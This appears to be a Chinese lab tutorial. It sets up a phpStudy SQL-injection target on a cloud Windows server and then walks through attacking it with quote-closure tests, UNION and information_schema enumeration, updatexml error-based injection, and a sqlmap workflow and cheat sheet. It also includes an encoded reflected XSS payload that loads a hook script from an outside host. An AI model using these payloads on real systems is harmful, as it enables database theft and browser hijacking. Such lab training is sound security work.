阿里云linux转换windows搭建靶场,以及靶场实验
- 转换系统,linux转windows
点击停止
点击三个点,点击更换操作系统
点击确定
选择要更换的主机格式,刚开始可能显示不出来,等待几秒就可以了,选择winserver2022;
点击确认订单即可
我们复制公有ip进行链接
打开自己的主机使用远程指令
WIN+R
mstsc
打开后输入ip和用户名密码
然后点击本地资源,点击详细信息,挂载本地盘符,方便后面传输文件
然后点击链接即可
二、搭建靶场
进来之后找到我们挂载的盘符
把我们本地的四个文件,sql文件、网站源码,还有小皮压缩包和解压软件都拖进去。
双击压缩软件将他安装
再把小皮解压后打开
启动WNMP,后访问公网ip,查看小皮是否正常使用
正常访问后,我们就将网站源文件放在网站目录下
可以双击物理路径后复制就到网站目录下了,我的目录为:C:\phpstudy_pro\WWW
打开后能看到我们刚刚测试页面也在里面,以及错误页面都在里面,我们可以把他们删除
然后把我们网站源文件Injection里面的四个页面放在里面
然后再次访问网站,查看是否配置成功
成功打开后,最后一步链接数据库,我们首先要把数据库文件导入
我们首先打开小皮,在软件管理里面安装一个web轻量级的数据库管理页面
安装后点击管理即可打开
打开后输出数据库账户密码即可登录
在左边点击新建数据库
创建后点击导入数据库文件
选择test.sql
点击最下面执行便可导入成功,然后进入配置文件链接数据库
进入网站目录下的api.php文件中修改dbname为wjx;
保存后测试靶场是否搭建成功
搜索Gifts,查看是否有数据
到此靶场搭建成功
- 靶场实践
此靶场是个sql注入靶场,所以第一步
- 判断闭合方式以及是数字型还是字符型
正常应该是这个样子,前面跟1,但是实际上1只不过保证有返回值方便判断,这个靶场输入1没有返回值,即我们无法通过1来判断,我们只需要把1替换为Gifts就能够正常进行测试
正常
1’ or 1=1-- - 1’ or 1=2-- -
1 or 1=1 1 or 1=2
改良替换
Gifts
Gifts’ or 1=1-- - Gifts’ or 1=2-- -
Gifts or 1=1 Gifts or 1=2
下面进行测试
这里我们惊喜的发现他没有做任何过滤直接将所有的表里面所有数据都输出出来了都输出出来了
1=1恒成立为真,则全真
查看源代码分析注入之后是什么样执行的
sql = "select * from products where category = '".$category."' and released = 0";
Gifts' or 1=1-- -
sql = "select * from products where category = '"Gifts' or 1=1-- -
直接判断出来了:是字符型,单引号注入
普及小知识:or可以当做并且的意思,两边结果的并集
and可以当做交集
and需要两个条件同时成立才会成立,前面不成立后面则就不会执行
or需要一条成立就会成立,前面成立了后面也有可能不会执行
在此判断下,我们可以改良pyload为:
111' or 1=1 -- -
查看回显结果:还是返回来了多结果,说明他可能直接判断了,后面为真,把查询的所有结果都列出来
然后我们正常做第二个注入步骤:
- 测试字段回显在哪里,以及字段数
Union:对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序;
Gifts' union select 1,2,3,4-- -
输入得到报错
说明不是四个字段
尝试5个
Gifts' union select 1,2,3,4,5-- -
返回结果正常,并显示了字段回显的位置和顺序
下面我们就可以查看本地数据库了,只需要替换一个数字的位置即可
pyload为:Gifts' union select 1,2,3,4,database()-- -
返回页面就出来了,能看到刚刚数字五,变成了wjx这个数据库库名
下面我们可以查询wjx数据库中存在的所有表
pyload为:
Gifts' union select 1,2,3,4,group_concat(table_name) from information_schema.tables where table_schema='wjx' -- -
返回为:
可以看到有两个表我们可以查看user表里面有什么:
构建pyload:
group_concat(column_name) from information_schema.columns where table_name='表名' -- -
返回为
查看表字段内容
Gifts' union select 1,2,3,4,group_concat(User) from user -- -
报错注入
Gifts' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- -
MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。
提示:0x7e 等价于 ~
包含特殊符号 ~,触发数据库报错,并将参数2的内容显示在报错信息中。
更多的自己去百度去
xss跨站请求伪造
会构建弹窗,修改页面,窃取数据,窃取金额,盗取账户,无恶不作
分为反射和存储,存储危害大,存储面对的是数据库,反射面对的是url
反射型xss:pyload
121.199.174.189/api.php?category=1%63%6c%64%62%6d%22%3e%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%3c%31%37%32%2e%32%34%2e%31%30%31%2e%33%33%3e%3a%33%30%30%30%2f%68%6f%6f%6b%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e%6c%68%65%71%78
sqlmap的使用
kali自带
命令行模式运行
使用方式分为get和post请求探测
get为 sqlmap -u “url”
post需要保存数据包为文本, sqlmap -r “*.txt” (文本中着重探测的在后面加上*号)
- 开启代理拦截
打开burp拦截包
右键copy to file
保存到本地
我们知道注入点打开文件在后面在*号就行
然后开始用sqlmap进行爆破
命令:sqlmap -r 6666666 (66666是我保存的文件名)
然后一路yes即可。
黄框里面显示可以注入,以及注入类型,及注入pyload
可以对比下面的类型翻译
使用-technique参数来指定我们的注入分类。一般sqlmap有以下几种注入:
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
Q: inline_query SQL injection(内联注入)
因为我们没有加任何参数,所以他只会帮我们探测注入点,不会爆库。
下面我们进行获取数据库命令
sqlmap -r 6666666 --dbs
返回来了所有数据库
这是显示当前数据库的命令:sqlmap -r 6666666 --current-db
库名知道后,查看库中的表名:
命令为:sqlmap -r 6666666 -D wjx --tables
显示有两个表
接下来查看products表里面有什么:查看所有字段
sqlmap -r 6666666 -D wjx -T products --columns
查看字段内容为
sqlmap -r 6666666 -D wjx -T products -C "id,name" --dump
到此为止。
sqlmap参数:
查表 -D --tables
–tables
直接查所有数据库的所有表
-D 要指定的数据库 --tables
对指定的数据库的表进行查询
-u "URL" -D dvwa --tables -v 3
1.7 列出字段 --columns
–columns
sqlmap -u "URL" -D 指定的库名 -T 指定的表名 --columns
1.8 查询内容
-C “字段1,字段2,…” --dump
sqlmap -u URL -D dvwa -T users -C "字段1,字段2" --dump -v 3
常用命令
-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
–dbs 列出所有的数据库
–current-db 列出当前数据库
–tables 列出当前的表
–columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–dump 获取字段中的数据
–dump-all 拖库
–batch 自动选择yes
–smart 启发式快速判断,节约浪费时间
–forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
–tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
–delay 设置多久访问一次
–os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
–is-dba 判断当前用户是否为数据库管理员权限
–risk 风险等级
–identify-waf 检测防火墙类型
–param-del=“分割符” 设置参数的分割符
–skip-urlencode 不进行url编码
–keep-alive 设置持久连接,加快探测速度
–null-connection 检索没有body响应的内容,多用于盲注
–thread 最大为10 设置多线程
–delay 有些web服务器请求访问太过频繁可能会被防火墙拦截,使用–delay就可以设定两次http请求的延时
–safe-url 有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用–safe-url 就可以每隔一段时间去访问一个正常的页面。
–tamper 语法:–tamper [“脚本名称”]
当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中
在information_schema数据库中还可以利用的表:
schema_name 储存了所有数据库的库名
table_schema 储存了数据库名
tables 储存了数据库库名,以及该库中包含的表名
table_schema 储存了数据库名
table_name 储存了表名